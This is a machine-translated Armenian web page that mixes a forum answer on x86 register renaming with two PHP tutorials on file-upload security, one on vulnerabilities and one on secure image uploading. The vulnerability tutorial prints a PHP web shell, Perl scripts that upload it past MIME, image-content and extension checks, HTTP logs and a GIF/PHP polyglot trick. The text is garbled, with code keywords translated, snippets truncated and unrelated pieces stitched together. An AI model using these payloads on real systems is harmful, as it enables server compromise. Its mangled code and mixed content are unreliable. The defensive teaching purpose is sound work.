Php-ն ապահով կերպով վերբեռնում է ֆայլերը սերվեր: Ֆայլերի վերբեռնում սերվերի վրա՝ օգտագործելով PHP: Հիմնական խոցելիությունները և դրանցից խուսափելու ուղիները. §5. Պատկերի վերբեռնում հղման միջոցով

1 53

Մոխրագույն կատու

1 պատասխան:

Intel/AMD պրոցեսորի ձեռնարկում նկարագրված պրոցեսորի մոդելը բավականին կոպիտ մոդել է իրականմիջուկի կատարման ժամանակակից շարժիչ: Մասնավորապես, պրոցեսորային ռեգիստր հասկացությունը ճիշտ չէ, գոյություն չունի EAX կամ RAX ռեգիստր:

Հրահանգների ապակոդավորիչի հիմնական խնդիրներից մեկը հին x86/x64 հրահանգները վերածելն է. միկրո օպերացիաներ, RISC-ի նման պրոցեսորի հրահանգներ։ Փոքր հրահանգներ, որոնք հեշտ է կատարել միաժամանակ և կարող են օգտվել բազմաթիվ կատարման ենթաբլոկներից: Թույլ է տալիս միաժամանակ կատարել մինչև 6 հրահանգներ:

Այս աշխատանքը կատարելու համար պրոցեսորային ռեգիստրների հայեցակարգը նույնպես վիրտուալացված է: Հրահանգների ապակոդավորիչը ռեգիստր է հատկացնում ռեգիստրների մեծ բանկից: Երբ հրահանգներ կենսաթոշակներ, այս դինամիկ տեղաբաշխված ռեգիստրի արժեքը հետ է գրվում ցանկացած ռեգիստրում, որը ներկայումս պարունակում է, ասենք, PAX-ի արժեքը:

Այս աշխատանքը սահուն և արդյունավետ դարձնելու համար, որը թույլ է տալիս միաժամանակ կատարել բազմաթիվ հրահանգներ, շատ կարևոր է, որ այդ գործողությունները չունենան փոխադարձ կախվածություն: Եվ ամենավատն այն է, որ ռեգիստրի արժեքը կախված է այլ հրահանգներից: EFLAGS ռեեստրը տխրահռչակ է, և շատ հրահանգներ փոփոխում են այն:

նույն խնդիրը, թե ինչպես եք դուք Ինչպեսնրան աշխատել: Մեծ խնդիրն այն է, որ այն պահանջում է, որ երկու ռեգիստրի արժեքներ միացվեն, երբ հրահանգը հանվի: Տվյալների կախվածության ստեղծում, որը կխցանի միջուկը: Ստիպելով վերին 32-բիթին լինել 0, այս կախվածությունն ակնթարթորեն անհետանում է, այլևս կարիք չկա միաձուլվելու: Դեֆորմացիայի արագություն 9.

  • Թարգմանություն

Այս հոդվածը ցույց է տալիս վեբ հավելվածների հիմնական խոցելիությունը ֆայլերը սերվերում վերբեռնելու համար և ինչպես խուսափել դրանցից: Հոդվածը պարունակում է հենց հիմունքները, քիչ հավանական է, որ այն հետաքրքրի մասնագետներին: Բայց, այնուամենայնիվ, յուրաքանչյուր PHP մշակող պետք է իմանա սա:

Տարբեր վեբ հավելվածները թույլ են տալիս օգտվողներին վերբեռնել ֆայլեր: Ֆորումները թույլ են տալիս օգտվողներին վերբեռնել «ավատարներ»: Լուսանկարների պատկերասրահները թույլ են տալիս վերբեռնել լուսանկարներ: Սոցիալական լրատվամիջոցհնարավորություն է տալիս վերբեռնել պատկերներ, տեսանյութեր և այլն: Բլոգները թույլ են տալիս վերբեռնել ավատարներ և/կամ պատկերներ:

Հաճախ ֆայլերի վերբեռնումն առանց անվտանգության համապատասխան հսկողության հանգեցնում է խոցելիության, որոնք, ինչպես ցույց է տալիս պրակտիկան, իրական խնդիր են դարձել PHP վեբ հավելվածներում:

Անցկացված թեստերը ցույց են տվել, որ շատ վեբ հավելվածներ ունեն անվտանգության բազմաթիվ խնդիրներ: Այս «անցքերը» հարձակվողներին տալիս են չարտոնված գործողություններ կատարելու լայն հնարավորություններ՝ սկսած սերվերի վրա ցանկացած ֆայլ դիտելուց և կամայական կոդի վերբեռնումից և գործարկումից: Այս հոդվածը խոսում է անվտանգության հիմնական անցքերի և դրանցից խուսափելու մասին:

Այս հոդվածում ներկայացված կոդերի օրինակները կարելի է ներբեռնել հետևյալից.
www.scanit.be/uploads/php-file-upload-examples.zip:

Եթե ​​ցանկանում եք դրանք օգտագործել, համոզվեք, որ ձեր օգտագործած սերվերը հասանելի չէ ինտերնետից կամ որևէ այլ հանրային ցանցից: Օրինակները ցույց են տալիս տարբեր խոցելիություններ, որոնց կատարումը արտաքին հասանելի սերվերի վրա կարող է հանգեցնել վտանգավոր հետևանքների։

Ֆայլի կանոնավոր վերբեռնում

Ֆայլերի վերբեռնումը սովորաբար բաղկացած է երկու անկախ գործառույթից՝ ֆայլերի ընդունում օգտատիրոջից և ֆայլերի ցուցադրում օգտագործողին: Երկու մասերն էլ կարող են խոցելիության աղբյուր լինել: Դիտարկենք հետևյալ կոդը (upload1.php).
$uploaddir = "uploads/" ; // Հարաբերական ուղի webroot-ի տակ


արձագանք;
}
?>


Սովորաբար օգտվողները ֆայլերը վերբեռնում են հետևյալ ձևի միջոցով.

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Ընտրեք ֆայլը վերբեռնելու համար.< input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="վերբեռնել" >

* Այս ելակետային կոդը ընդգծվել է Source Code Highlighter-ով:

Ներխուժող այս ձևըչի օգտագործվի։ Նա կարող է գրել Perl-ի փոքրիկ սցենար (հնարավոր է ցանկացած լեզվով - թարգմանչի նշում), որը կկրկնօրինակի ֆայլեր ներբեռնելու օգտատիրոջ գործողությունները՝ իրենց հայեցողությամբ ուղարկված տվյալները փոխելու նպատակով:

Այս դեպքում բեռնումը պարունակում է անվտանգության մեծ անցք՝ upload1.php-ն օգտատերերին թույլ է տալիս կամայական ֆայլեր վերբեռնել կայքի արմատին։ Հարձակվողը կարող է վերբեռնել PHP ֆայլ, որը թույլ է տալիս կամայական կեղևի հրամանները կատարել սերվերում՝ վեբ սերվերի գործընթացի արտոնությամբ: Այս սցենարը կոչվում է PHP-Shell: Ահա այսպիսի սցենարի ամենապարզ օրինակը.

համակարգ ($_GET [«հրաման»]);
?>

Եթե ​​այս սկրիպտը գտնվում է սերվերի վրա, ապա կարող եք կատարել ցանկացած հրաման հարցման միջոցով.
server/shell.php?command=any_Unix_shell_command

Ավելի առաջադեմ PHP պատյաններ կարելի է գտնել ինտերնետում: Նրանք կարող են ներբեռնել կամայական ֆայլեր, կատարել SQL հարցումներև այլն։

Ստորև ներկայացված Perl աղբյուրը վերբեռնում է PHP-Shell-ը սերվեր՝ օգտագործելով upload1.php:

#!/usr/bin/perl
օգտագործել LWP; # մենք օգտագործում ենք libwwwperl
օգտագործել HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua-> հարցում (POST «http://localhost/upload1.php»,
Content_Type => «ձև-տվյալներ»,
Բովանդակություն => ,],);

Տպել $res->as_string();


* Այս ելակետային կոդը ընդգծվել է Source Code Highlighter-ով:

Այս սցենարը օգտագործում է libwwwperl, որը հարմարավետ Perl գրադարան է, որը նմանակում է HTTP հաճախորդին:

Եվ ահա թե ինչ կլինի, երբ այս սցենարը կատարվի.

Հայց.

POST /upload1.php HTTP/1.1
TE՝ deflate,gzip;q=0.3
Միացում՝ TE, փակ
Հաղորդավար՝ localhost

Բովանդակություն-Երկարություն՝ 156

--xYzZY

Բովանդակություն-Տեսակ՝ տեքստ/պարզ
համակարգ ($_GET [«հրաման»]);
?>
--xYzZY-

Պատասխան.
HTTP/1.1 200 OK
Ամսաթիվ՝ չորեքշաբթի, 13 հունիսի 2007թ., 12:25:32 GMT
Սերվեր՝ Apache

Բովանդակություն-Տևողություն՝ 48
Միացում՝ փակ
Բովանդակության տեսակը՝ տեքստ/html
Ֆայլը վավեր է և հաջողությամբ վերբեռնվեց:

Shell-ի սկրիպտը բեռնելուց հետո մենք կարող ենք ապահով կերպով գործարկել հրամանը.
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) խմբեր=81(apache)

cURL-ը հրամանի տող HTTP հաճախորդ է, որը հասանելի է Unix-ում և Windows-ում: Սա շատ օգտակար գործիքվեբ հավելվածները փորձարկելու համար: cURL-ը կարելի է ներբեռնել curl.haxx.se կայքից

Բովանդակության տեսակը ստուգելը

Վերոնշյալ օրինակը հազվադեպ է լինում: Շատ դեպքերում ծրագրավորողները օգտագործում են պարզ ստուգումներապահովել, որ օգտվողները ներբեռնեն խիստ սահմանված տեսակի ֆայլեր: Օրինակ՝ օգտագործելով Content-Type վերնագիրը.

Օրինակ 2 (upload2.php):

եթե ($_FILES[;
ելք;
}
$uploaddir = "uploads/" ;
$uploadfile = $uploaddir: բազային անուն ($_FILES["userfile" ]["name"]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name"], $uploadfile)) (
արձագանք;
}
?>

* Այս ելակետային կոդը ընդգծվել է Source Code Highlighter-ով:

Այս դեպքում, եթե հարձակվողը միայն փորձի ներբեռնել shell.php-ը, մեր կոդը կստուգի ներբեռնված ֆայլի MIME տեսակը հարցումում և կզտի ավելորդները:

Հայց.

POST /upload2.php HTTP/1.1
TE՝ deflate,gzip;q=0.3
Միացում՝ TE, փակ
Հաղորդավար՝ localhost
Օգտագործող-գործակալ՝ libwww-perl/5.803
Բովանդակություն-Տեսակ՝ բազմամաս/ձև-տվյալներ; սահման=xYzZY
Բովանդակություն-Երկարություն՝ 156
--xYzZY
Բովանդակություն-Տրվածություն՝ ձև-տվյալներ; name = "userfile"; filename = "shell.php"
Բովանդակություն-Տեսակ՝ տեքստ/պարզ
համակարգ ($_GET [«հրաման»]);
?>
--xYzZY--

Պատասխան.
HTTP/1.1 200 OK
Ամսաթիվ՝ հինգշաբթի, 31 մայիսի 2007 13:54:01 GMT
Սերվեր՝ Apache
X-Powered-By՝ PHP/4.4.4-pl6-gentoo
Բովանդակություն-Տևողություն՝ 41
Միացում՝ փակ
Բովանդակության տեսակը՝ տեքստ/html
Առայժմ ամեն ինչ լավ է: Ցավոք, կա այս պաշտպանությունը շրջանցելու միջոց, քանի որ ստուգվող MIME տեսակը գալիս է հարցումին: Վերևի հարցումում այն ​​դրված է «տեքստ/պարզ» (այն տեղադրված է բրաուզերի կողմից - թարգմանչի նշում). Ոչինչ չի խանգարում հարձակվողին այն դնել «image/gif», քանի որ հաճախորդի էմուլյացիայի միջոցով նա լիովին վերահսկում է իր ուղարկած հարցումը (upload2.pl):
#!/usr/bin/perl
#
օգտագործել LWP;
օգտագործել HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua-> հարցում (POST «http://localhost/upload2.php»,
Content_Type => «ձև-տվյալներ»,
Բովանդակություն => ,],);

Տպել $res->as_string();

* Այս ելակետային կոդը ընդգծվել է Source Code Highlighter-ով:

Եվ սա այն է, ինչ տեղի է ունենում.

Հայց.

POST /upload2.php HTTP/1.1
TE՝ deflate,gzip;q=0.3
Միացում՝ TE, փակ
Հաղորդավար՝ localhost
Օգտագործող-գործակալ՝ libwww-perl/5.803
Բովանդակություն-Տեսակ՝ բազմամաս/ձև-տվյալներ; սահման=xYzZY
Բովանդակություն-Երկարություն՝ 155
--xYzZY
Բովանդակություն-Տրվածություն՝ ձև-տվյալներ; name = "userfile"; filename = "shell.php"
Բովանդակություն-Տեսակ՝ պատկեր/գիֆ
համակարգ ($_GET [«հրաման»]);
?>
--xYzZY-

Պատասխան.
HTTP/1.1 200 OK
Ամսաթիվ՝ հինգշաբթի, 31 մայիսի 2007 14:02:11 GMT
Սերվեր՝ Apache
X-Powered-By՝ PHP/4.4.4-pl6-gentoo
Բովանդակություն-Տևողություն՝ 59
Միացում՝ փակ
Բովանդակության տեսակը՝ տեքստ/html

Արդյունքում, մեր upload2.pl-ը կեղծում է Content-Type վերնագիրը՝ ստիպելով սերվերին ընդունել ֆայլը:

Պատկերային ֆայլի բովանդակության ստուգում

Content-Type վերնագրին վստահելու փոխարեն PHP մշակողը կարող է ստուգել բեռնված ֆայլի իրական բովանդակությունը՝ համոզվելու համար, որ այն իսկապես պատկեր է: Դրա համար հաճախ օգտագործվում է PHP getimagesize() ֆունկցիան: Այն վերցնում է ֆայլի անունը որպես արգումենտ և վերադարձնում է պատկերների չափերի և տեսակների զանգված: Եկեք նայենք ստորև ներկայացված upload3.php օրինակին:
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name"]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime"] != "image/jpeg") (
արձագանք «Կներեք, մենք ընդունում ենք միայն GIF և JPEG պատկերներ\n»;
ելք;
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir: բազային անուն ($_FILES["userfile" ]["name"]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name"], $uploadfile)) (
արձագանք;
}
?>

* Այս ելակետային կոդը ընդգծվել է Source Code Highlighter-ով:

Այժմ, եթե հարձակվողը փորձի վերբեռնել shell.php, նույնիսկ եթե նա սահմանի Content-Type վերնագիրը «image/gif», ապա upload3.php-ը դեռ սխալ կթողնի:

Հայց.

POST /upload3.php HTTP/1.1
TE՝ deflate,gzip;q=0.3
Միացում՝ TE, փակ
Հաղորդավար՝ localhost
Օգտագործող-գործակալ՝ libwww-perl/5.803
Բովանդակություն-Տեսակ՝ բազմամաս/ձև-տվյալներ; սահման=xYzZY
Բովանդակություն-Երկարություն՝ 155
--xYzZY
Բովանդակություն-Տրվածություն՝ ձև-տվյալներ; name = "userfile"; filename = "shell.php"
Բովանդակություն-Տեսակ՝ պատկեր/գիֆ
համակարգ ($_GET [«հրաման»]);
?>
--xYzZY-

Պատասխան.
HTTP/1.1 200 OK
Ամսաթիվ՝ հինգշաբթի, 31 մայիսի 2007 14:33:35 GMT
Սերվեր՝ Apache
X-Powered-By՝ PHP/4.4.4-pl6-gentoo
Բովանդակություն-Տևողություն՝ 42
Միացում՝ փակ
Բովանդակության տեսակը՝ տեքստ/html
Ներեցեք, մենք ընդունում ենք միայն GIF և JPEG պատկերներ

Կարող եք մտածել, որ այժմ մենք կարող ենք վստահ լինել, որ միայն GIF կամ JPEG ֆայլերը կներբեռնվեն: Ցավոք, դա այդպես չէ։ Ֆայլն իրականում կարող է լինել GIF կամ JPEG ձևաչափով, և միևնույն ժամանակ PHP սկրիպտ: Պատկերի ձևաչափերի մեծ մասը թույլ է տալիս պատկերին ավելացնել տեքստային մետատվյալներ: Հնարավոր է ստեղծել միանգամայն վավեր պատկեր, որը պարունակում է որոշ PHP կոդ այս մետատվյալներում: Երբ getimagesize()-ը նայում է ֆայլին, այն կվերաբերվի որպես վավեր GIF կամ JPEG: Երբ PHP թարգմանիչը նայում է ֆայլին, այն տեսնում է գործարկվող PHP կոդը որոշ երկուական «աղբի» մեջ, որը անտեսվելու է: Օրինակում պարունակվում է տիպիկ ֆայլ, որը կոչվում է crocus.gif (տե՛ս հոդվածի սկիզբը): Նման պատկեր կարելի է ստեղծել ցանկացած գրաֆիկական խմբագրիչում։

Այսպիսով, եկեք ստեղծենք Perl սցենար մեր պատկերը բեռնելու համար.

#!/usr/bin/perl
#
օգտագործել LWP;
օգտագործել HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua-> հարցում (POST «http://localhost/upload3.php»,
Content_Type => «ձև-տվյալներ»,
Բովանդակություն => , ],);

Տպել $res->as_string();

* Այս ելակետային կոդը ընդգծվել է Source Code Highlighter-ով:

Այս կոդը վերցնում է crocus.gif ֆայլը և բեռնում այն ​​crocus.php անունով: Կատարումը կհանգեցնի հետևյալին.

Հայց.

POST /upload3.php HTTP/1.1
TE՝ deflate,gzip;q=0.3
Միացում՝ TE, փակ
Հաղորդավար՝ localhost
Օգտագործող-գործակալ՝ libwww-perl/5.803
Բովանդակություն-Տեսակ՝ բազմամաս/ձև-տվյալներ; սահման=xYzZY
Բովանդակություն-Երկարություն՝ 14835
--xYzZY

Բովանդակություն-Տեսակ՝ պատկեր/գիֆ
GIF89a (...որոշ երկուական տվյալներ...)(... բաց թողնելով մնացած երկուական տվյալները ...)
--xYzZY-

Պատասխան.
HTTP/1.1 200 OK
Ամսաթիվ՝ հինգշաբթի, 31 մայիսի 2007 14:47:24 GMT
Սերվեր՝ Apache
X-Powered-By՝ PHP/4.4.4-pl6-gentoo
Բովանդակություն-Տևողություն՝ 59
Միացում՝ փակ
Բովանդակության տեսակը՝ տեքստ/html
Ֆայլը վավեր է և հաջողությամբ վերբեռնվեց:

Այժմ հարձակվողը կարող է կատարել վերբեռնումներ/crocus.php և ստանալ հետևյալը.

Ինչպես տեսնում եք, PHP թարգմանիչն անտեսում է երկուական տվյալները նկարի սկզբում և կատարում է հաջորդականությունը:GIF մեկնաբանության մեջ։

Ներբեռնված ֆայլի ընդլայնման ստուգում

Այս հոդվածի ընթերցողը կարող է մտածել, թե ինչու մենք պարզապես չենք ստուգում ներբեռնված ֆայլի ընդլայնումը: Եթե ​​թույլ չտանք *.php ֆայլերը բեռնել, ապա սերվերը երբեք չի կարողանա այդ ֆայլը կատարել որպես սցենար: Դիտարկենք նաև այս մոտեցումը։

Մենք կարող ենք սև ցուցակագրել ֆայլերի ընդլայնումները և ստուգել վերբեռնված ֆայլի անունը՝ անտեսելով գործարկվող ընդլայնումներով ֆայլի վերբեռնումը (upload4.php):

$blacklist = array(".php", ".phtml", ".php3", ".php4");
foreach ($սև ցուցակ որպես $item) (
եթե (preg_match(;
ելք;
}
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir: բազային անուն ($_FILES["userfile" ]["name"]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name"], $uploadfile)) (
արձագանք;
}
?>


* Այս ելակետային կոդը ընդգծվել է Source Code Highlighter-ով:

Preg_match ("/$item\$/i", $_FILES["userfile"]["name"]) արտահայտությունը համապատասխանում է սև ցուցակի զանգվածում օգտագործողի կողմից սահմանված ֆայլի անվանմանը։ «i» փոփոխիչն ասում է, որ մեր արտահայտությունը մեծատառերի անզգայուն է: Եթե ​​ֆայլի ընդլայնումը համապատասխանում է սև ցուցակի տարրերից մեկին, ֆայլը չի ​​ներբեռնվի:

Եթե ​​մենք փորձենք վերբեռնել ֆայլ .php ընդլայնմամբ, դա կհանգեցնի սխալի.

Հայց.

POST /upload4.php HTTP/1.1
TE՝ deflate,gzip;q=0.3
Միացում՝ TE, փակ
Հաղորդավար՝ localhost
Օգտագործող-գործակալ՝ libwww-perl/5.803
Բովանդակություն-Տեսակ՝ բազմամաս/ձև-տվյալներ; սահման=xYzZY
Բովանդակություն-Երկարություն՝ 14835
--xYzZY
Բովանդակություն-Տրվածություն՝ ձև-տվյալներ; name = "userfile"; filename = "crocus.php"
Բովանդակություն-Տեսակ՝ պատկեր/գիֆ

--xYzZY-

Պատասխան.
HTTP/1.1 200 OK
Ամսաթիվ՝ հինգշաբթի, 31 մայիսի 2007 15:19:45 GMT
Սերվեր՝ Apache
X-Powered-By՝ PHP/4.4.4-pl6-gentoo
Բովանդակություն-Տևողություն՝ 36
Միացում՝ փակ
Բովանդակության տեսակը՝ տեքստ/html
Եթե ​​մենք ներբեռնենք ֆայլ .gif ընդլայնմամբ, ապա այն կներբեռնվի.

Հայց.

POST /upload4.php HTTP/1.1
TE՝ deflate,gzip;q=0.3
Միացում՝ TE, փակ
Հաղորդավար՝ localhost
Օգտագործող-գործակալ՝ libwww-perl/5.803
Բովանդակություն-Տեսակ՝ բազմամաս/ձև-տվյալներ; սահման=xYzZY
Բովանդակություն-Երկարություն՝ 14835
--xYzZY
Բովանդակություն-Տրվածություն՝ ձև-տվյալներ; name = "userfile"; filename = "crocus.gif"
Բովանդակություն-Տեսակ՝ պատկեր/գիֆ
GIF89 (...բաց թողնելով երկուական տվյալները...)
--xYzZY--

Պատասխան.
HTTP/1.1 200 OK
Ամսաթիվ՝ հինգշաբթի, 31 մայիսի 2007 15:20:17 GMT
Սերվեր՝ Apache
X-Powered-By՝ PHP/4.4.4-pl6-gentoo
Բովանդակություն-Տևողություն՝ 59
Միացում՝ փակ
Բովանդակության տեսակը՝ տեքստ/html
Ֆայլը վավեր է և հաջողությամբ վերբեռնվեց:

Այժմ, եթե մենք պահանջենք ներբեռնված ֆայլը, այն չի կատարվի սերվերի կողմից.

Այս հոդվածում մենք մանրամասն կվերլուծենք PHP-ի միջոցով պատկերներ սերվեր վերբեռնելու մեխանիզմը՝ առանց երրորդ կողմի բաղադրիչների և շրջանակների դիմելու: Եկեք սովորենք, թե ինչպես ապահով կերպով ներբեռնել պատկերներ ոչ միայն օգտագործողի տեղական մեքենայից, այլև հեռակա ֆայլեր հղման միջոցով: Ես կգրեմ բոլոր կոդի օրինակները ընթացակարգային ոճով, որպեսզի կարողանաք ավելի արագ կարդալ կոդը և չանցնեք մի մեթոդից մյուսը: Ձեռնարկը լիովին օրիգինալ է և չի հավակնում լինել որևէ ակադեմիական ներկայացման:.

§1. Ընդհանուր սկզբունքներ

Պատկերը սերվերում վերբեռնելու ամբողջ հաջորդականությունը կարող է ցուցադրվել հետևյալ կերպ. կարգավորում php.iniստացող ֆայլանվտանգության ստուգումտվյալների վավերացումպահում սկավառակի վրա. Օգտագործողի համակարգչից կամ URL-ի միջոցով նկար ներբեռնելու գործընթացը ոչնչով չի տարբերվում, բացառությամբ նկարը ստանալու և այն պահպանելու մեթոդի։ Սերվերում պատկեր վերբեռնելու ընդհանուր սխեման հետևյալն է.

Պատկերը URL-ով վավերացնելու համար մենք կօգտագործենք getimagesizefromstring() ֆունկցիան, քանի որ cURL-ը այն կներբեռնի փոփոխականի մեջ՝ հետագա մանիպուլյացիայի համար:

Քանի որ մենք պատկերներ ենք վերբեռնում սերվեր, լավ կլինի ստուգել որոշակի պարամետրեր. լայնությունը, բարձրությունը, տիպՆկարներ, չափըֆայլ բայթերով: Դա կախված է ձեր դիմումի տրամաբանությունից, բայց պարզության համար այս ձեռնարկում մենք կստուգենք վերը նշված բոլոր պարամետրերը:

§2. Անվտանգության կանոնակարգեր

Պատկերների բեռնման անվտանգությունը հանգում է նրան, որ օտարերկրյա կոդի սերվերին չհասնի և գործարկվի: Գործնականում պատկերների բեռնումն ամենախոցելի կետն է PHP հավելվածներում. հարվածել է shell scripts, երկուական ֆայլերի վրա վնասակար կոդ գրելը, EXIF-ի տվյալների փոխարինում. Հաքերային մեթոդներից շատերից խուսափելու համար դուք պետք է հետևեք հետևյալ կանոններին.

Ա Ոչ վստահել $_FILES-ի տվյալները;
բ Ոչ Ստուգեք պատկերի MIME տեսակը getimagesize() ֆունկցիայից;
ներբեռնված ֆայլում ստեղծել նոր անուն և ընդլայնում.
դ արգելել PHP սկրիպտների կատարումը նկարներով թղթապանակում.
դ Ոչ մուտքագրել օգտվողի տվյալները պահանջի միջոցով և ներառել;
$_FILES-ի համար օգտագործեք is_uploaded_file() և move_uploaded_file():

Եթե ​​«Անվտանգության կանոններին» ավելացնելու որևէ բան ունեք, ապա թողեք ձեր մեկնաբանությունները կամ անվտանգության հոդվածների հղումները այս ուղեցույցի մեկնաբանություններում, և ես դրանք կհրապարակեմ այս պարբերությունում:

§3. php.ini կոնֆիգուրացիա

PHP-ն թույլ է տալիս մուտքագրել որոշակի կազմաձևման արժեքներ ցանկացած ֆայլի բեռնման գործընթացում: Դա անելու համար դուք պետք է գտնեք բլոկները « Ռեսուրսների սահմանափակումներ», « Տվյալների մշակում«Եվ» Ֆայլերի վերբեռնումներ«, և այնուհետև անհրաժեշտության դեպքում խմբագրեք հետևյալ արժեքները.

; Սցենարների կատարման առավելագույն ժամանակը վայրկյաններով max_execution_time = 60 ; Հիշողության առավելագույն սպառում մեկ սցենարի համարհիշողության_սահմանափակում = 64 Մ ; POST մեթոդով ուղարկված տվյալների առավելագույն թույլատրելի չափը post_max_size = 5M ; Ֆայլեր վերբեռնելու թույլտվություն file_uploads = Միացված է ; Թղթապանակ՝ ներբեռնման ընթացքում ֆայլերը պահելու համար upload_tmp_dir = տուն/օգտագործող/ջերմաստիճան ; Վերբեռնման ֆայլի առավելագույն չափը upload_max_filesize = 5M ; Միաժամանակ ներբեռնվող ֆայլերի առավելագույն թույլատրելի քանակը max_file_uploads = 10

Նշված արժեքների հիման վրա օգտատերը չի կարողանա միաժամանակ ներբեռնել տասը ֆայլից ավելի, և յուրաքանչյուր ֆայլ չպետք է գերազանցի 5 ՄԲ: Պարամետրեր բլոկից » Ռեսուրսների սահմանափակումներ« ավելի շատ անհրաժեշտ են հեռավոր ֆայլ ներբեռնելու համար, քանի որ օգտագործելով cURL մենք բովանդակությունը կներբեռնենք փոփոխականի մեջ և կստուգենք այն ըստ մեզ անհրաժեշտ չափանիշների, և դա պահանջում է լրացուցիչ ժամանակ և հիշողություն:

php.ini կազմաձևման ֆայլը միշտ պետք է կազմաձևվի մշակվող վեբ հավելվածի բիզնես տրամաբանության համաձայն: Օրինակ, մենք նախատեսում ենք ներբեռնել ոչ ավելի, քան տասը ֆայլ մինչև 5 ՄԲ, ինչը նշանակում է, որ մեզ անհրաժեշտ կլինի ~50 ՄԲ հիշողություն: Բացի այդ, մենք պետք է իմանանք տեղական մեքենայից և հղումից մեկ ֆայլ ներբեռնելու առավելագույն ժամանակը, որպեսզի սահմանենք սցենարի կատարման բավարար ժամանակ max_execution_time-ում և չվախեցնենք օգտատերերին սխալներով:

§4. Պատկերների բեռնում ձևից

Այժմ մենք չենք դիտարկի սերվերում մի քանի ֆայլ վերբեռնելը, այլ միայն կվերլուծենք վերբեռնման մեխանիզմը՝ օգտագործելով մեկ ֆայլի օրինակ: Այսպիսով, օգտագործողի համակարգչից նկար ներբեռնելու համար անհրաժեշտ է օգտագործել HTML ձև՝ ֆայլը PHP սկրիպտ ուղարկելու համար՝ օգտագործելով POST մեթոդը և նշեք տվյալների կոդավորման մեթոդը: enctype = "multipart/form-data"(այս դեպքում տվյալները կոդավորված չեն և այս արժեքը օգտագործվում է միայն երկուական ֆայլեր ուղարկելու համար): Մենք հետագայում կաշխատենք ստորև բերված ձևով.

Ֆայլի ընտրության դաշտի համար մենք օգտագործում ենք անունը անուն = "վերբեռնել"մեր HTML ձևով, չնայած դա կարող է լինել ցանկացած բան: Ֆայլը PHP script file-handler.php-ին ուղարկելուց հետո այն կարելի է ընդհատել՝ օգտագործելով գերգլոբալ փոփոխական: $_FILES [«վերբեռնել»]նույն անունով, որը պարունակում է տեղեկատվություն զանգվածի ֆայլի մասին.

Զանգված ( => նկար.jpg // բնօրինակ ֆայլի անունը => պատկեր/jpeg // MIME ֆայլի տեսակ => home\user\temp\phpD07E.tmp // երկուական ֆայլ => 0 // սխալի կոդը => 17170 // ֆայլի չափը բայթերով)

Ոչ բոլոր տվյալները $_FILESկարելի է վստահել. MIME տեսակը և ֆայլի չափը կարող են կեղծվել, քանի որ դրանք ձևավորվել են HTTP պատասխանից, և ֆայլի անվան ընդլայնումը չպետք է վստահվի, քանի որ դրա հետևում կարող է թաքնված լինել բոլորովին այլ ֆայլ: Այնուամենայնիվ, հաջորդիվ մենք պետք է ստուգենք, թե արդյոք մեր ֆայլը ճիշտ է բեռնված և արդյոք այն ընդհանրապես բեռնված է: Դա անելու համար դուք պետք է ստուգեք սխալները $_FILES["վերբեռնում"]["սխալ"]և համոզվեք, որ ֆայլը վերբեռնված է POST մեթոդով, օգտագործելով գործառույթը is_uploaded_file(). Եթե ​​ինչ-որ բան չի ընթանում ըստ պլանի, ապա մենք ցուցադրում ենք սխալը էկրանին:

// Հարմարության համար վերագրեք փոփոխականները$filePath = $_FILES ["բեռնել" ]["tmp_name"]; $errorCode = $_FILES ["վերբեռնում" ]["սխալ"]; // Ստուգեք սխալների համար if ($errorCode !== UPLOAD_ERR_OK || ! is_uploaded_file ($filePath )) ( // Սխալների անուններով զանգված$errorMessages = [ UPLOAD_ERR_INI_SIZE => «Ֆայլի չափը գերազանցել է upload_max_filesize արժեքը PHP-ի կազմաձևում»:, UPLOAD_ERR_FORM_SIZE => «Վերբեռնված ֆայլի չափը գերազանցել է MAX_FILE_SIZE արժեքը HTML ձևում»:, UPLOAD_ERR_PARTIAL => «Ներբեռնված ֆայլը ստացվել է միայն մասամբ»:, UPLOAD_ERR_NO_FILE => «Ֆայլը չի ​​բեռնվել»:, UPLOAD_ERR_NO_TMP_DIR => «Ժամանակավոր թղթապանակը բացակայում է»:, UPLOAD_ERR_CANT_WRITE => «Չհաջողվեց գրել ֆայլը սկավառակի վրա»:, UPLOAD_ERR_EXTENSION => «PHP ընդլայնումը դադարեցրել է ֆայլի ներբեռնումը»:, ]; // Սահմանել անհայտ սխալ$unknownMessage = «Ֆայլը ներբեռնելիս անհայտ սխալ է տեղի ունեցել»:; // Եթե զանգվածում սխալի կոդ չկա, ասեք, որ սխալն անհայտ է$outputMessage = դրված է ($errorMessages [$errorCode ]): $errorMessages [$errorCode]. $unknownMessage; // Տպել սխալի անունը die ($outputMessage); )

Որպեսզի հարձակվողը չներբեռնի նկարում ներկառուցված վնասակար ծածկագիրը, գործառույթը չի կարող վստահվել getimagesize (), որը նաև վերադարձնում է MIME տեսակը: Ֆունկցիան ակնկալում է, որ առաջին արգումենտը կլինի վավեր պատկերի ֆայլի հղում. Դուք կարող եք որոշել պատկերի իրական MIME տեսակը՝ օգտագործելով FileInfo ընդլայնումը: Ստորև բերված կոդը կստուգի հիմնաբառի առկայությունը պատկերմեր ներբեռնված ֆայլի տեսակի մեջ, և եթե այն չկա, այն կառաջացնի սխալ.

// Ստեղծել FileInfo ռեսուրս$fi = finfo_open (FILEINFO_MIME_TYPE); // Ստացեք MIME տեսակը $mime = (string) finfo_file ($fi , $filePath ); );

Այս փուլում մենք արդեն կարող ենք մեր սերվեր վերբեռնել բացարձակապես ցանկացած պատկեր, որն անցել է MIME տեսակի ստուգումը, սակայն որոշակի բնութագրերի հիման վրա պատկերներ վերբեռնելու համար մենք պետք է վավերացնենք դրանք՝ օգտագործելով ֆունկցիան: getimagesize (), որին մենք կերակրում ենք հենց երկուական ֆայլը $_FILES["վերբեռնել"]["tmp_name"]. Արդյունքում մենք կստանանք առավելագույնը 7 տարրերի զանգված.

